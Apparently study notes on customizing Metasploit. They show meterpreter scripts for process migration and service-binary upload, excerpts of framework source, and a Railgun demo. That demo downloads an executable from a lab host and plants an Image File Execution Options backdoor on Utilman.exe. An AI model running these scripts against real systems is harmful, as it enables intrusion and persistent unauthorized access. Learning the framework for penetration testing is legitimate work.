MasterMsf | 0203 定制Metasploit

use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST 172.16.56.108
set LPORT 31337

find ./ -name "metsrv*"

.//embedded/lib/ruby/gems/2.4.0/gems/metasploit-payloads-1.3.52/data/meterpreter/metsrv.x64.dll
.//embedded/lib/ruby/gems/2.4.0/gems/metasploit-payloads-1.3.52/data/meterpreter/metsrv.x86.dll

  # Use an array of `from -> to` associations so that things
  # such as metsrv can be copied from the appropriate location
  # but named correctly on the target.
  bins = {
    'metsrv.x86.dll'    => 'metsrv.dll',
    'metsvc-server.exe' => nil,
    'metsvc.exe'        => nil
  }

  bins.each do |from, to|
    next if (from != "metsvc.exe" and remove)
    to ||= from
    print_status(" >> Uploading #{from}...")
    fd = client.fs.file.new(tempdir + "\\" + to, "wb")
    path = (from == 'metsrv.x86.dll') ? MetasploitPayloads.meterpreter_path('metsrv','x86.dll') : File.join(based, from)
    fd.write(::File.read(path, ::File.size(path)))
    fd.close
  end

if(is_admin?)
    print_good("Current user is admin.")
else
    print_error("Current user is not admin.")
end

session.sys.process.get_processes().each do |x|
    if x['name'].downcase == 'explorer.exe'
        print_good("explorer.exe is running with PID #{x['pid']}")
        explorer_ppid = x['pid'].to_i
        print_good("Migrating to explorer.exe at PID #{explorer_ppid.to_s}")
        session.core.migrate(explorer_ppid)
    end
end

# msf/core/session.rb
###
#
# The session class represents a post-exploitation, uh, session.
# Sessions can be written to, read from, and interacted with.  The
# underlying medium on which they are backed is arbitrary.  For
# instance, when an exploit is provided with a command shell,
# either through a network connection or locally, the session's
# read and write operations end up reading from and writing to
# the shell that was spawned.  The session object can be seen
# as a general means of interacting with various post-exploitation
# payloads through a common interface that is not necessarily
# tied to a network connection.
#
###
module Session

  include Framework::Offspring
  # ...

# msf/core/framework.rb
###
#
# This class is the primary context that modules, scripts, and user
# interfaces interact with.  It ties everything together.
#
###
class Framework

# rex/post/meterpreter/extensions/stdapi/sys/process.rb
class Process < Rex::Post::Process
  # ...
  #
  # Returns a ProcessList of processes as Hash objects with keys for 'pid',
  # 'ppid', 'name', 'path', 'user', 'session' and 'arch'.
  #
  def Process.get_processes
    request   = Packet.create_request('stdapi_sys_process_get_processes')
    processes = ProcessList.new

    response = client.send_request(request)

    response.each(TLV_TYPE_PROCESS_GROUP) { |p|
    arch = ""

    pa = p.get_tlv_value(TLV_TYPE_PROCESS_ARCH)
    if !pa.nil?
      if pa == 1 # PROCESS_ARCH_X86
        arch = ARCH_X86
      elsif pa == 2 # PROCESS_ARCH_X64
        arch = ARCH_X64
      end
    else
      arch = p.get_tlv_value(TLV_TYPE_PROCESS_ARCH_NAME)
    end

    processes <<
        {
          'pid'      => p.get_tlv_value(TLV_TYPE_PID),
          'ppid'     => p.get_tlv_value(TLV_TYPE_PARENT_PID),
          'name'     => client.unicode_filter_encode( p.get_tlv_value(TLV_TYPE_PROCESS_NAME) ),
          'path'     => client.unicode_filter_encode( p.get_tlv_value(TLV_TYPE_PROCESS_PATH) ),
          'session'  => p.get_tlv_value(TLV_TYPE_PROCESS_SESSION),
          'user'     => client.unicode_filter_encode( p.get_tlv_value(TLV_TYPE_USER_NAME) ),
          'arch'     => arch
        }
    }

    return processes
  end

railgun.DLLname.function(parameters)

# my_urlmon.rb
if client.railgun.get_dll('urlmon') == nil
    print_status("Adding Function")
end
client.railgun.add_dll('urlmon', 'C:\\WINDOWS\\system32\\urlmon.dll')
client.railgun.add_function('urlmon', 'URLDownloadToFileA', 'DWORD', [
['DWORD', 'pcaller', 'in'],
['PCHAR', 'szURL', 'in'],
['PCHAR', 'szFileName', 'in'],
['DWORD', 'Reserved', 'in'],
['DWORD', 'lpfnCB', 'in'],
])

/* Attempts to provide a DLL instance of the given name.
 * Handles lazy loading and caching.
 * Note that if a DLL of the given name does not exist, returns nil. */
get_dll(dll_name)

/* Adds a DLL to this Railgun.
 * The windows_name is the name used on the remote
 * system and should be set appropriately if you want to
 * include a path or the DLL name contains non-ruby-approved characters.
 * Raises an exception if a dll with the given name has already been defined. */
add_dll(dll_name, windows_name = dll_name)

/* Adds a function to an existing DLL definition.
 * If the DLL definition is frozen (ideally this
 * should be the case for all cached dlls) an unfrozen copy is
 * created and used henceforth for this instance. */
add_function(dll_name, function_name, return_type, params, windows_name = nil, calling_conv = "stdcall")

HRESULT URLDownloadToFile(
             LPUNKNOWN            pCaller,
             LPCTSTR              szURL,
             LPCTSTR              szFileName,
  _Reserved_ DWORD                dwReserved,
             LPBINDSTATUSCALLBACK lpfnCB
);

# my_railgun_demo.rb
mypath = "C:\\Users\\rambo\\Desktop\\a43.exe"
client.railgun.urlmon.URLDownloadToFileA(0, "http://172.16.56.1:8000/a43.exe",
                                        mypath, 0, 0)
key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Utilman.exe"
syskey = registry_createkey(key)
registry_setvaldata(key, 'Debugger', mypath, 'REG_SZ')